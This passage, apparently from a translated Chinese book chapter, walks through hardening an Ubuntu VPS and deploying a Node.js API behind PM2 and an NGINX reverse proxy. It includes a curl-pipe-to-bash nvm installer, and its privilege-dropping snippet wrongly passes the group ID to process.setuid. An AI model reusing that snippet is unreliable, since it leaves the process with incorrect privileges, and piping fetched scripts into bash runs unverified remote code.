:任何有权访问您的私钥的人都能登录到您的服务器。如果您想采取额外的安全措施来保护您的私钥,您可以在其上设置密码。这样做意味着只有拥有您的私钥和密码的人才能登录。
在无法进行用户输入的环境中运行的程序可能必须使用不带密码的 SSH 密钥;否则,建议设置密码。
在回答了这些问题后,ssh-keygen
将生成一个私钥(id_rsa
)/公钥(id_rsa.pub
)对,并将它们保存在~/.ssh
目录下:
Your identification has been saved in $HOME/.ssh/id_rsa.
Your public key has been saved in $HOME/.ssh/id_rsa.pub.
如果您没有在您的私钥上设置密码,任何拥有您的私钥的人都能访问使用相应公钥来验证您的任何服务器。因此,一般来说,永远不要共享您的私钥。
将 SSH 密钥添加到远程服务器
现在我们有了 SSH 密钥对,我们需要设置我们的虚拟服务器以接受这个密钥。
在您的本地机器上,使用cat
命令将您的公钥内容打印到终端并复制到剪贴板(例如,使用Ctrl + Shift + C):
$ cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0TG9QcuUeFFtcXLqZZNO6/iggvuoLkQzlZQGbnSd39M+kLjRii+ziMBq8gL1pZUOBLWZUr6c+5DiCSOQCWtduTnHq6hR7/XkRthoS3bsdplr/6SHdxW/GTkVUjAv/DWcdJ93tx5ErkFsGsWklKM2U5wRMNA1g6k3ooc1N21zftBQKp9K+vrUW/iporjvy2Y8Dicp2VRUiOZIediDLYSZUXI/mc9eLziZivhsQtFYOZQSFMuBRBX7q4RA6XTBdnjORac1oVhVHi1NlU7ZmkWeJUECEFxncrYsp976p4tAKNOijpQMDhpKYdZT4OS83r33cIA2mdnNfK1SL1zntfoYYh+s3KODbnvoZcqCn4oar6ZPxgL9E4oqOF5Td+VQv8yRdxKstwQAgV6Yu0Ll/gJ0Z0k5xxw6SS3u/9J6Wx2q85eZLJl0o1dxHcofhQ1UZrJOZ23YnUsrDhHvqZRpHjkfXCPgDOWVNzdpTQPYbUttVuHsFw5HqjfVb5Pco4HlzhS4qCG91UkC7+tDMc6zXsaal9Sh4YIQE0RDDkRV3k3fFLYLMnxK4NCydPX9E9Fcaneopr+o1mauiNvdQLjALL4t8Bz8P0KSvfIGhu0suaQEIJamrdzPFcXigQn2IK719Ur8/0sxqbXAblzRauJ0qrYyvOXx3/1G+4VywN40MyY7xdQ== dan@danyll.com
或者,您可以使用xclip
将您的公钥内容直接复制到剪贴板。
$ xclip -selection clipboard < ~/.ssh/id_rsa.pub
现在,如果您还没有这样做,请使用您的密码以root
身份登录到远程服务器。接下来,如果它们尚未存在,创建~/.ssh
目录和~/.ssh/authorized_keys
文件。authorized_keys
文件列出了服务器接受的有效凭据的密钥:
root@hobnob:# mkdir ~/.ssh
root@hobnob:# touch ~/.ssh/authorized_keys
接下来,设置文件的权限,以确保只有当前用户(root
)可以读取该文件:
root@hobnob:# chmod 700 ~/.ssh
root@hobnob:# chmod 600 ~/.ssh/authorized_keys
然后,将您刚刚复制的公钥追加到authorized_keys
文件的末尾(例如,使用vim
或nano
):
root@hobnob:# vim ~/.ssh/authorized_keys
最后,我们需要重新加载 SSH 守护进程以确保我们的更改已更新:
root@hobnob:# systemctl reload ssh.service
为了测试这是否正常工作,打开一个新的终端窗口并运行ssh root@<remote-ip>
:
$ ssh root@142.93.241.63
root@hobnob:#
这次,服务器不再要求您输入密码,因为它正在使用我们的 SSH 密钥进行验证。
使用 ssh-copy-id
接下来,我们需要为我们的hobnob
用户做同样的事情。但这次,我们将使用一个方便的命令行工具ssh-copy-id
,它将执行之前描述的所有操作,但只需一个命令:
$ ssh-copy-id hobnob@142.93.241.63
提供额外的安全
在我们继续之前,我们可以采取一些额外的措施来使我们的设置更加安全。
禁用基于密码的认证
尽管我们现在可以使用 SSH 密钥登录,但我们仍然允许通过密码登录。一个链条的强度取决于其最薄弱的环节,一个系统的安全性也取决于其最不安全的组件。因此,既然我们可以使用 SSH 登录,最好是禁用密码登录。
在禁用基于密码的认证之前,请务必确认您可以使用 SSH 密钥登录到您的服务器;否则,您将被锁定在服务器之外。
在远程虚拟服务器上,打开 SSH 守护进程的配置文件/etc/ssh/sshd_config
(请注意,这不同于/etc/ssh/ssh_config
,后者是SSH 客户端的配置文件)。搜索名为PasswordAuthentication
的条目并将其设置为no
:
PasswordAuthentication no
再次,重新加载 SSH 守护进程以确保它已更新我们的更改:
root@hobnob:# systemctl reload ssh.service
禁用 root 登录
我们不应该就此止步。现在我们已经可以访问具有sudo
权限的用户,我们不再需要以root
身份登录。因此,我们应该通过sshd_config
中的另一个配置条目禁用 root 登录。
找到PermitRootLogin
条目并将其设置为no
:
PermitRootLogin no
重新加载 SSH 守护进程以确保此更改生效:
root@hobnob:# systemctl reload ssh.service
现在,从你的本地机器尝试以root
身份登录;你应该会收到一个错误:
$ ssh root@142.93.241.63
Permission denied (publickey).
防火墙
保障我们服务器安全性的最后一步是安装防火墙。防火墙背后的理念是每个暴露的端口都是一个潜在的安全漏洞。因此,我们希望尽可能少地暴露端口。
所有 Linux 发行版都自带一个名为iptables
的防火墙,默认情况下允许所有流量通过。手动配置iptables
可能具有挑战性,因为其格式不是最直观的。例如,一个非活动的iptables
配置看起来像这样:
$ sudo iptables -L -n -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
为了帮助系统管理员更容易地管理iptables
防火墙,Ubuntu 发行版附带了一个名为ufw
的命令行程序(简称为uncomplicated firewall),我们将在这里使用它。
ufw
默认情况下是禁用的,但在我们启用它之前,让我们为它添加一些规则来强制执行:
hobnob@hobnob:$ sudo ufw status
Status: inactive
目前我们只需要暴露一个端口,那就是 SSH 端口22
。我们可以通过直接添加单个端口来实现这一点:
hobnob@hobnob:$ sudo ufw allow 22
然而,有一个更简单的方法:服务可以将其配置文件注册到ufw
,允许ufw
通过名称管理它们的端口。您可以通过运行ufw app list
来查看已注册应用程序的列表:
hobnob@hobnob:$ sudo ufw app list
Available applications:
OpenSSH
因此,我们不必指定端口22
,我们可以指定应用程序的名称:
hobnob@hobnob:$ sudo ufw allow OpenSSH
Rules updated
Rules updated (v6)
现在规则已经就位,我们可以启用ufw
:
hobnob@hobnob:$ sudo ufw enable
Command may disrupt existing ssh connections. Proceed with operation (y|n)? y
Firewall is active and enabled on system startup
现在,当我们再次检查时,只有 OpenSSH 端口(22
)是开放的:
hobnob@hobnob:$ sudo ufw status
Status: active
To Action From
-- ------ ----
OpenSSH ALLOW Anywhere
OpenSSH (v6) ALLOW Anywhere (v6)
配置时区
最后,我们应该将所有服务器配置为使用协调世界时(UTC)时区。使用单一时区可以防止我们在同时访问多个服务器时需要跟踪每个服务器所在的时区:
hobnob@hobnob:$ sudo dpkg-reconfigure tzdata
在运行命令后,你会看到以下屏幕。使用你的上/下箭头键选择“以上皆不是”。然后,使用你的左/右箭头键选择“确定”并按回车键:
在下一个屏幕上,选择 UTC,代表协调世界时:
您应该在终端上获得确认:
Current default time zone: 'Etc/UTC'
Local time is now: Wed Sep 12 18:54:39 UTC 2018.
Universal Time is now: Wed Sep 12 18:54:39 UTC 2018.
我们已经设置了时区,但为了确保时钟准确,我们需要执行一个额外的步骤,使其与全球 NTP 服务器保持同步:
hobnob@hobnob:$ sudo apt update
hobnob@hobnob:$ sudo apt install ntp
这将安装并运行 ntp
守护进程,它将在启动时自动启动,与这些全球 NTP 服务器同步,并在必要时更新系统时间。
恭喜!您现在已成功设置并保护了一个 VPS!我们现在可以继续部署我们的 API 到上面。
运行我们的 API
在我们可以在 VPS 上运行我们的 API 之前,我们需要安装它所依赖的软件和库,包括 Git、Node、yarn、Java 开发工具包(JDK)和 Elasticsearch:
hobnob@hobnob:$ curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
hobnob@hobnob:$ echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
hobnob@hobnob:$ sudo apt update && sudo apt install yarn git default-jdk
hobnob@hobnob:$ curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
hobnob@hobnob:$ echo 'JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"' | sudo tee --append /etc/environment > /dev/null
hobnob@hobnob:$ cd && wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.deb
hobnob@hobnob:$ sudo dpkg -i elasticsearch-6.3.2.deb
hobnob@hobnob:$ rm elasticsearch-6.3.2.deb
hobnob@hobnob:$ sudo systemctl start elasticsearch.service
hobnob@hobnob:$ sudo systemctl enable elasticsearch.service
为了防止权限问题,我们将把我们的应用程序代码放在 /home/hobnob/
目录下,并以 hobnob
用户身份运行。因此,创建一个新的项目目录,从远程仓库克隆我们的 API 仓库,安装所需的 Node.js 版本,使用 yarn
安装所有依赖项,并运行应用程序:
hobnob@hobnob:$ cd && mkdir projects && cd projects
hobnob@hobnob:$ git clone https://github.com/d4nyll/hobnob.git
hobnob@hobnob:$ cd hobnob && nvm install && yarn
如果您想将 API 放置在用户主目录之外的目录中,例如 /srv/
或 /var/www/
,那么您不能使用 nvm,因为 nvm 会将 Node.js 二进制文件安装到安装者的主目录下。相反,您需要使用名为 n
的 npm 包全局安装 Node.js (github.com/tj/n)。
您绝对不能做的事情是作为 root
用户运行 API,因为这会带来巨大的安全风险。
接下来,我们需要设置正确的环境变量。*.env.example
文件中的设置应该直接可用,因此我们可以直接复制它们:
hobnob@hobnob:$ cd env/
hobnob@hobnob:$ cp .env.example .env
hobnob@hobnob:$ cp test.env.example test.env
hobnob@hobnob:$ cd ../ && yarn run serve
网站现在将运行在我们 .env
文件中指定的端口上,即 8080
。为了使其对外可用,我们必须更新我们的防火墙,允许进入端口 8080
的流量。打开一个新的终端并运行以下命令:
hobnob@hobnob:$ sudo ufw allow 8080
在您的浏览器中,导航到 http://<vps-ip-address>:8080/
,您应该会看到一个错误,内容如下:
Cannot GET /
这意味着 Express 正在工作;错误响应正确地告诉我们端点不存在。您可以随意尝试部署的 API。它应该与之前一样工作。
使用 PM2 保持我们的 API 运行
我们正在一个短暂的 SSH 会话中运行我们的 Node.js 进程。当我们登出时,主机机将杀死在该会话期间启动的所有进程。因此,我们需要想出一个方法,即使在登出后也能让我们的进程保持运行。
此外,无论我们的代码库有多好,或者我们的测试计划有多完整,在任何一个大型应用程序中,都难免会有错误。有时,这些错误是致命的,会导致应用程序崩溃。在这些情况下,我们应该记录错误并通知开发者,但最重要的是,我们应该在应用程序崩溃后立即重启它。
Ubuntu 提供了 upstart
守护进程(upstart.ubuntu.com),它可以监控一个服务,并在服务意外死亡时重新启动它。同样,还有一个流行的 npm 包名为 forever
(github.com/foreverjs/forever),它执行类似的任务。然而,我发现 PM2(pm2.keymetrics.io)是市面上最好的进程管理器,因此我们将在本书中使用它。
首先,将 PM2 安装为开发依赖项:
$ yarn add pm2 --dev
然后,更新我们的 serve
npm 脚本来执行 pm2 start
而不是 node
:
"serve": "yarn run build && dotenv -e envs/.env pm2 start dist/index.js"
现在,将这些更改从您的本地机器推送到虚拟服务器。再次运行 yarn
以安装 pm2
,然后运行 yarn run serve
;现在,我们的进程由 PM2 而不是 hobnob
用户管理。这意味着即使您注销或断开连接,我们的 Node.js 进程仍然会继续运行:
hobnob@hobnob:$ yarn run serve
...
[PM2] Starting /home/hobnob/projects/hobnob/dist/index.js in fork_mode (1 instance)
[PM2] Done.
┌──────────┬────┬───────┬────────┬─────────┬────────┬─────┬─────────┐
│ App name │ id │ pid │ status │ restart │ uptime │ cpu │ mem │
├──────────┼────┼───────┼────────┼─────────┼────────┼─────┼─────────┤
│ index │ 0 │ 15540 │ online │ 0 │ 0s │ 1% │ 21.9 MB │
└──────────┴────┴───────┴────────┴─────────┴────────┴─────┴─────────┘
Use `pm2 show <id|name>` to get more details about an app
PM2 的好处之一是其用户界面对于 CLI 工具来说非常出色。如果我们运行 npx pm2 monit
,您将获得一个包含所有运行进程的仪表板,并且您可以使用鼠标实时查看状态、资源使用情况和其他统计数据:
┌─ Process list ────┐┌─ Global Logs ──────┐
│[ 0] index ││ │
└───────────────────┘└────────────────────┘
┌─ Custom metrics ─┐┌─ Metadata ─────────┐
│ Loop delay o ││ App Name index │
│ de-metrics) ││ Restarts 0 │
│ ││ Uptime 10m │
└───────────────────┘└────────────────────┘
终止进程
要查看 PM2 的实际运行情况,我们将手动终止 Node.js 进程,并观察 PM2 是否会自动重启它。我们将使用 npx pm2 list
命令,该命令以静态表格的形式列出所有进程:
hobnob@hobnob:$ npx pm2 list
┌───────┬────┬───────┬────────┬───┬────────┬─────┬─────────┐
│ Name │ id │ pid │ status │ ↺ │ uptime │ cpu │ mem │
├───────┼────┼───────┼────────┼───┼────────┼─────┼─────────┤
│ index │ 0 │ 15540 │ online │ 0 │ 20m │ 0% │ 40.8 MB │
└───────┴────┴───────┴────────┴───┴────────┴─────┴─────────┘
hobnob@hobnob:$ kill 15540
hobnob@hobnob:$ npx pm2 list
┌───────┬────┬───────┬────────┬───┬────────┬─────┬─────────┐
│ Name │ id │ pid │ status │ ↺ │ uptime │ cpu │ mem │
├───────┼────┼───────┼────────┼───┼────────┼─────┼─────────┤
│ index │ 0 │ 16323 │ online │ 1 │ 2s │ 0% │ 47.9 MB │
└───────┴────┴───────┴────────┴───┴────────┴─────┴─────────┘
如您所见,当旧进程死亡后,pm2
启动了一个新的进程,具有不同的 进程 ID(PID),并且重启次数也增加到了 1。
保持 PM2 运行
只要 PM2 本身正在运行,它就会保持应用程序的运行。但是,如果 PM2 本身被终止(例如,由于重启),那么我们还必须配置 PM2 以自动重启。非常方便的是,PM2 提供了一个 startup
命令,它会为您在终端上运行输出一个脚本:
hobnob@hobnob:$ npx pm2 startup
[PM2] Init System found: systemd
[PM2] To setup the Startup Script, copy/paste the following command:
sudo env PATH=$PATH:/home/hobnob/.nvm/versions/node/v8.11.4/bin /home/hobnob/projects/hobnob/node_modules/pm2/bin/pm2 startup systemd -u hobnob --hp /home/hobnob
运行脚本以确保 PM2 在启动时启动。现在,当您从终端会话注销,或者应用程序意外崩溃,甚至整个机器重启时,您可以有信心应用程序会尽快自动重启。
在端口 80 上运行我们的 API
我们目前将 API 服务器运行在端口 8080
上,而 HTTP 请求的标准端口是端口 80
。要求 API 的消费者为每个请求将端口号附加到 URL 上将非常不方便,这对用户体验来说也是不利的。
因此,让我们将 Express 监听的端口从 8080
更改为 80
,看看会发生什么。将 SERVER_PORT
环境变量更改为 80
:
SERVER_PORT=80
然后,停止并删除 PM2 应用程序,再次运行 serve
脚本。当我们再次运行它时,它最初会成功:
hobnob@hobnob:$ npx pm2 delete 0; yarn run serve
...
[PM2] Done.
┌───────┬──────┬────────┬───┬─────┬─────────┐
│ Name │ mode │ status │ ↺ │ cpu │ memory │
├───────┼──────┼────────┼───┼─────┼─────────┤
│ index │ fork │ online │ 0 │ 0% │ 16.9 MB │
└───────┴──────┴────────┴───┴─────┴─────────┘
然而,当我们再次检查其状态时,PM2 将显示应用程序已出现错误,并且在放弃之前尝试重启了 15 次:
hobnob@hobnob:$ npx pm2 status
┌───────┬──────┬─────────┬────┬─────┬────────┐
│ Name │ mode │ status │ ↺ │ cpu │ memory │
├───────┼──────┼─────────┼────┼─────┼────────┤
│ index │ fork │ errored │ 15 │ 0% │ 0 B │
└───────┴──────┴─────────┴────┴─────┴────────┘
我们可以使用 pm2 show <name>
命令来获取特定进程的信息:
hobnob@hobnob:$ npx pm2 show index
从输出中,我们可以看到应用程序产生的错误存储在 /home/hobnob/.pm2/logs/index-error.log
,因此让我们看看它说了什么:
hobnob@hobnob:$ tail -n11 /home/hobnob/.pm2/logs/index-error.log
Error: listen EACCES 0.0.0.0:80
at Object._errnoException (util.js:1031:13)
...
EACCES 0.0.0.0:80
错误意味着我们的 Node.js 进程没有权限访问端口 80
。这是因为,在 Linux 中,低于 1024
的端口被认为是 特权端口,这意味着它们只能被由 root
用户启动的进程绑定。
特权端口
除了对开发者体验不好之外,还有一个更重要理由说明为什么我们的 API 应该在 特权端口 上提供服务:当 API 的消费者向我们发送数据时,他们需要信任他们发送的信息只由服务器管理员(通常是 root
)处理,而不是由某个恶意方处理。
假设一个恶意方以某种方式成功入侵我们的服务器并获得了普通用户账户的访问权限。如果我们已经将我们的 API 端口设置为非特权端口,那么那个恶意用户可以启动一个修改过的、恶意的 API 服务,并将其绑定到该端口,并使用它来提取敏感信息,例如用户密码。现在,任何客户端发送到该端口的任何信息都将暴露给恶意方。
然而,特权端口只能由 root
用户绑定,因此恶意用户将无法再执行攻击。
可能的解决方案
然而,我们控制着服务器,那么我们如何允许我们的 API 服务在端口 80
上运行呢?我们将在稍后概述一些解决方案,但要看到它们的工作情况,我们首先应该禁用端口 8080
并启用端口 80
:
hobnob@hobnob:$ sudo ufw allow 80
hobnob@hobnob:$ sudo ufw delete allow 8080
以 root 运行
最直接的方法是将我们的 Node 进程作为 root
运行;换句话说,类似于 sudo node src/index.js
。然而,这是一个非常糟糕的想法,因为它存在很大的安全风险。如果有人发现了你应用程序中的漏洞或漏洞,他/她可以利用它,因为服务器进程是以 root
权限运行的,黑客可以潜在地做 root
用户能做的任何事情,包括清除你的整个机器或窃取数据。以普通用户身份运行 API 服务器将限制任何潜在损害到该用户通常可接受的范围。
降低权限
然而,有一个技巧允许你使用 sudo
以 root
权限启动进程,但随后可以通过将进程的用户和组身份设置为发出 sudo
命令的用户/组来降低权限。我们通过使用环境变量 SUDO_UID
和 SUDO_GID
并使用 process.setgid
和 process.setuid
来设置它们来完成此操作:
app.listen(process.env.SERVER_PORT, async () => {
const sudoGid = parseInt(process.env.SUDO_GID);
const sudoUid = parseInt(process.env.SUDO_UID);
if (sudoGid) { process.setuid(sudoGid) }
if (sudoUid) { process.setuid(sudoUid) }
...
});
设置能力
另一个解决方案是设置 能力。
在 Linux 上,当线程或进程需要某些权限来执行操作时,例如读取文件或绑定到端口,它会检查权限列表。如果它具有该权限,它将能够执行该功能;否则,它不能。默认情况下,root
用户具有所有权限,例如,CAP_CHOWN
权限,它允许它更改文件的 UID 和 GID。
因此,我们不必以 root
身份运行进程,而可以简单地授予我们的 Node 进程绑定到专用端口的权限:
hobnob@hobnob:$ sudo setcap CAP_NET_BIND_SERVICE=+ep $(which node)
您可以通过运行 getcap
来检查此进程是否设置了权限:
hobnob@hobnob:$ sudo getcap $(which node)
~/.nvm/versions/node/v8.9.0/bin/node = cap_net_bind_service+ep
现在,当我们运行 npx pm2 delete 0; yarn run serve
时,它将成功绑定到端口 80
。
然而,如果我们使用 nvm 更新 Node.js 版本,我们就必须为这个新版本的 Node 设置权限。此外,这个权限不仅限于绑定到端口 80
;它是用于绑定到 所有 专用端口的。这是一个潜在的安全漏洞。因此,最好不使用这种方法,我们应该取消设置权限:
hobnob@hobnob:$ sudo setcap -r $(which node)
hobnob@hobnob:$ sudo getcap $(which node)
[No output]
使用 authbind
使用 authbind
作为替代方案可能比设置权限更可取。authbind
是一个系统实用程序,允许没有超级用户权限的用户访问特权网络服务,包括绑定到特权端口:
hobnob@hobnob:$ sudo apt install authbind
与设置权限相比,authbind
在端口和权限方面提供了更细粒度的控制。authbind
的配置文件位于 /etc/authbind
。简而言之,如果用户有权访问 /etc/authbind/byport/<port>
文件,则该用户能够绑定到该端口:
hobnob@hobnob:$ sudo touch /etc/authbind/byport/80
hobnob@hobnob:$ sudo chown hobnob /etc/authbind/byport/80
hobnob@hobnob:$ sudo chmod 500 /etc/authbind/byport/80
在这里,我们正在为端口 80
创建一个配置文件,将其所有者更改为运行 API 服务器用户,并设置权限,以便只有 hobnob
可以读取它。现在,我们可以使用 authbind
运行我们的启动脚本,并且它应该可以工作:
hobnob@hobnob:$ npx pm2 delete 0; authbind --deep yarn run serve
使用 iptables
另一种解决方案是使用 iptables
,这是我们之前使用的同一防火墙。除了阻止来自某些端口的流量外,iptables
还允许您将流量从一个端口重定向到另一个端口。因此,我们可以简单地将所有进入端口 80
的流量路由到端口 8080
:
hobnob@hobnob:$ sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
使用反向代理
如您所欣赏的,作为非 root 用户绑定到端口 80
的方法有很多,而且我们的列表甚至不是详尽的!然而,最流行的方法是使用 反向代理 服务器将流量从一个端口重定向到另一个端口。
什么是代理?什么是反向代理?
代理 是客户端用于间接访问其他服务器的服务器。从服务器的角度来看,它将把代理服务器视为客户端,而不会意识到原始客户端。代理服务器是您请求在从您的机器到远程服务器时经过的中介服务器。
反向代理与此类似,但方案是颠倒的。这是反向代理的工作原理:
-
反向代理接收请求
-
它将请求转发到代理服务(例如,一个应用程序服务器,如我们的 Express 应用程序)
-
它从服务接收响应
-
它将响应发送回客户端(们)
客户端对内部服务的存在一无所知;在客户端看来,响应是直接从反向代理返回的。
今天的最流行的反向代理是 NGINX,这正是我们在本书中要使用的。NGINX 也是一个通用的 Web 服务器,它提供了以下好处:
-
我们可以在同一台服务器上托管多个服务;如果我们以后要添加在同一台服务器上运行的其他服务,这将提供更大的灵活性。
-
它可以处理 SSL 加密,这是设置 HTTPS 所必需的。
-
它支持诸如缓存和 GZIP 压缩等特性。
-
它还可以充当负载均衡器;这允许我们在不同的端口上运行我们的 Node 应用程序的多个实例,并且让 NGINX 在这些进程之间分配请求。它将以最小化特定进程负载的方式这样做,从而最大化响应生成的速度。
-
配置为代码;由于所有 HTTP 流量都通过 NGINX 转发,因此只需阅读 NGINX 的配置,就可以轻松看到我们向外部世界公开的所有服务的列表。
-
它有一个额外的抽象层;我们可以更改应用程序内部的架构,我们只需要更新 NGINX 设置。例如,我们可以让服务在私有网络中的另一台机器上运行,而外部用户不会察觉到任何区别。
设置 NGINX
那么,让我们在我们的机器上安装 NGINX 吧!
我们将概述在 Ubuntu 上安装 NGINX 的说明。其他平台的安装说明可以在nginx.com/resources/wiki/start/topics/tutorials/install/找到。
默认情况下,nginx
软件包应该已经包含在 Ubuntu 的默认仓库中:
hobnob@hobnob:$ apt-cache show nginx
Package: nginx
Architecture: all
Version: 1.14.0-0ubuntu1
...
然而,我们应该使用官方的 NGINX 仓库以确保我们始终获取最新版本。为此,我们需要将 NGINX 的软件包仓库添加到 Ubuntu 在尝试下载软件包时搜索的仓库列表中。
默认情况下,Ubuntu 会搜索两个地方:在/etc/apt/sources.list
文件内部以及/etc/apt/sources.list.d/
目录下的文件中。我们不应该直接写入/etc/apt/sources.list
文件,因为当我们升级我们的发行版时,此文件将被覆盖。相反,我们应该在/etc/apt/sources.list.d/
目录内创建一个具有唯一名称的新文件,并添加 NGINX 仓库的条目:
hobnob@hobnob:$ echo "deb http://nginx.org/packages/ubuntu/ bionic nginx" | sudo tee -a /etc/apt/sources.list.d/nginx.list
hobnob@hobnob:$ echo "deb-src http://nginx.org/packages/ubuntu/ bionic nginx" | sudo tee -a /etc/apt/sources.list.d/nginx.list
如果你意外删除了/etc/apt/sources.list
文件,你可以使用 Ubuntu 源列表生成器(repogen.simplylinux.ch)重新生成它。
为了确保他们下载的软件包的完整性和真实性,Ubuntu 软件包管理工具(dpkg
和 apt
)要求软件包分发商使用公开可用的 GPG 密钥对他们的软件包进行签名。因此,我们必须将此密钥添加到 APT 中,以便它知道如何检查软件包的完整性和真实性:
hobnob@hobnob:$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ABF5BD827BD9BF62
hobnob@hobnob:$ sudo apt update && sudo apt install nginx
NGINX 现已安装,但尚未运行:
hobnob@hobnob:$ sudo systemctl status nginx.service
● nginx.service - nginx - high performance web server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: inactive (dead)
Docs: http://nginx.org/en/docs/
配置 NGINX
在我们开始配置 NGINX 之前,我们需要对其进行配置。和其他系统级服务一样,NGINX 的配置文件存储在 /etc/
目录下。导航到 /etc/nginx/
并查看那里的文件:
hobnob@hobnob:$ cd /etc/nginx/
hobnob@hobnob:$ ls
conf.d fastcgi_params koi-utf koi-win mime.types modules nginx.conf scgi_params uwsgi_params win-utf
主要配置定义在 nginx.conf
文件内,其结构如下(一旦移除注释):
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
keepalive_timeout 65;
include /etc/nginx/conf.d/*.conf;
}
理解 NGINX 的配置文件
NGINX 服务器由模块组成,这些模块由 nginx.conf
配置文件内定义的指令控制。例如,HTTP 模块是通过 nginx.conf
中的 http
指令进行配置的。指令基本上是一个指令/设置的单元。有两种类型的指令:简单和块。
简单指令由一个名称和一个或多个参数组成,每个参数由空格分隔,并以分号结尾。例如,pid /var/run/nginx.pid;
就是一个简单指令的例子。另一方面,块指令由一个名称后跟一对大括号({}
)组成,其中可以包含额外的指令。
还有上下文的概念。顶级指令存在于 main
上下文中。每个块指令都包含在其自己的上下文中包含的指令。例如,在 nginx.conf
文件中,worker_connections
指令将位于 events
上下文中,而 events
上下文本身又位于 main
上下文中。
配置 HTTP 模块
为了允许 NGINX 路由特定服务的请求,我们必须在 http
上下文中定义一个 server
块指令:
http {
server {
...
}
}
在 server
块内,我们可以定义仅在 server
上下文中可用的某些指令。以下是一些最常见的指令列表:
-
listen
:此服务应监听哪个端口。如果没有设置,它将默认为端口80
。 -
server_name
:应将哪些域名应用于此服务器块。 -
location
:如何根据 URL 路径处理请求。location
指令通常有两个参数。第一个参数是前缀,第二个是另一个指令块,指定如何处理该请求。内部块可以包含以下指令:-
root
:用于服务静态文件。它告诉 NGINX 在我们的服务器上可以找到请求的资源的位置。 -
proxy_pass
:用于反向代理。它告诉 NGINX 应将请求转发到哪个 URL。
-
当 NGINX 收到与服务器块的listen
和server_name
指令匹配的请求时,它将传递给server
块。然后,提取请求的 URL 路径,并尝试与每个location
指令的前缀匹配。如果找到匹配项,请求将根据该location
块中指定的指令进行处理。如果有多个location
前缀与 URL 匹配,将使用具有最长(因此最具体)前缀的location
块。
打开/etc/nginx/nginx.conf
文件,并添加以下服务器块以反向代理请求到我们的 API 服务器:
...
http {
....
server {
listen 80 default_server;
location / {
proxy_pass http://localhost:8080;
}
}
}
当 NGINX 收到一个http://142.93.241.63/
的请求时,URL 路径(/
)与第一个location
块的路径前缀匹配。然后,proxy_pass
指令将请求导向我们的 API,该 API 将在端口8080
上运行。NGINX 还将 API 的响应回传给客户端。
因此,让我们通过编辑envs/.env
文件来撤销对SERVER_PORT
环境变量的更改:
SERVER_PORT=8080
然后,启动我们的 API 服务器和 NGINX 服务,在http://142.93.241.63/
上测试我们的 API,并检查一切是否仍然正常工作:
hobnob@hobnob:$ npx pm2 delete 0; yarn run serve
hobnob@hobnob:$ sudo systemctl reload nginx.service
将 nginx.conf 拆分为多个文件
然而,直接写入/etc/nginx/nginx.conf
不是一个好主意,因为如果我们升级 NGINX,nginx.conf
文件可能会被替换。此外,如果服务器需要处理许多服务,文件中的大量server
块将使其难以阅读和维护。因此,从一开始就将不同服务的配置拆分到不同的文件中是一种良好的做法。
一种常见的做法是使用两个目录:/etc/nginx/sites-available
和/etc/nginx/sites-enabled
。您将每个服务的配置作为单独的文件放置在sites-available
目录下。然后,为了启用一个服务,您将从sites-enabled
目录创建一个符号链接到sites-available
目录中的一个文件。最后,您将通过在配置中添加一个include
条目将/etc/nginx/sites-available
目录链接到主配置。
首先,添加两个目录:
hobnob@hobnob:$ sudo mkdir /etc/nginx/sites-available /etc/nginx/sites-enabled
然后,在/etc/nginx/nginx.conf
文件中,在include /etc/nginx/conf.d/*.conf;
之后添加一个include
指令:
...
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*; ...
然后,从http
上下文中提取每个server
块,并将它们作为单独的文件放置在/etc/nginx/sites-available/
目录内。按照惯例,文件名应与域名对应,但由于我们还没有域名,我们可以将其命名为api
。
为了澄清,/etc/nginx/sites-available/api
应该是一个包含以下内容的文件:
server {
listen 80 default_server;
location / {
proxy_pass http://localhost:8080;
}
}
现在,为了启用站点,我们必须在/etc/nginx/sites-enabled
目录中添加符号链接:
hobnob@hobnob:$ sudo ln -s /etc/nginx/sites-available/api /etc/nginx/sites-enabled/
在创建符号链接时使用完整的绝对路径非常重要;否则,您可能会链接到错误的位置。
这种方法的另一个好处是关注点的分离:通用配置位于 nginx.conf
文件中,而特定于站点的设置(例如,SSL 证书)位于它们自己的文件中。最后,这与 Apache HTTP 服务器上设置虚拟主机的方式相似;因此,采用这种方法将使习惯于 Apache HTTP 服务器的管理员迁移变得更加容易。
现在,我们需要再次重新加载配置:
hobnob@hobnob:$ sudo systemctl reload nginx.service
如果你想了解更多关于 NGINX 的信息,请查看 nginx.org 上的 NGINX 文档 nginx.org/en/docs/.
从 IP 到域名
目前,我们可以使用 IP 地址访问我们的 API。但如果我们希望开发者使用我们的 API,我们不应该期望他们记住一串随机的数字!相反,我们希望给他们一个容易记住的域名,例如 api.hobnob.social
。
要做到这一点,我们首先必须购买域名,然后配置其域名系统(DNS)设置,使其解析到我们的服务器的 IP 地址。
购买域名
虽然 DNS 负责将域名解析为 IP 地址,但域名注册商是为你注册域名(们)的实体/业务。有许多注册商可供选择;我们将使用的是Namecheap。
首先,我们必须在 Namecheap 网站上搜索我们想要的域名。虽然注册商是一个可以为许多顶级域名注册域名的实体,但它必须先与一个或多个域名注册机构联系,以查看域名是否可用。域名注册机构共同持有所有域名及其可用性的列表,而域名注册商是那些以一定价格向您出租可用域名的实体。
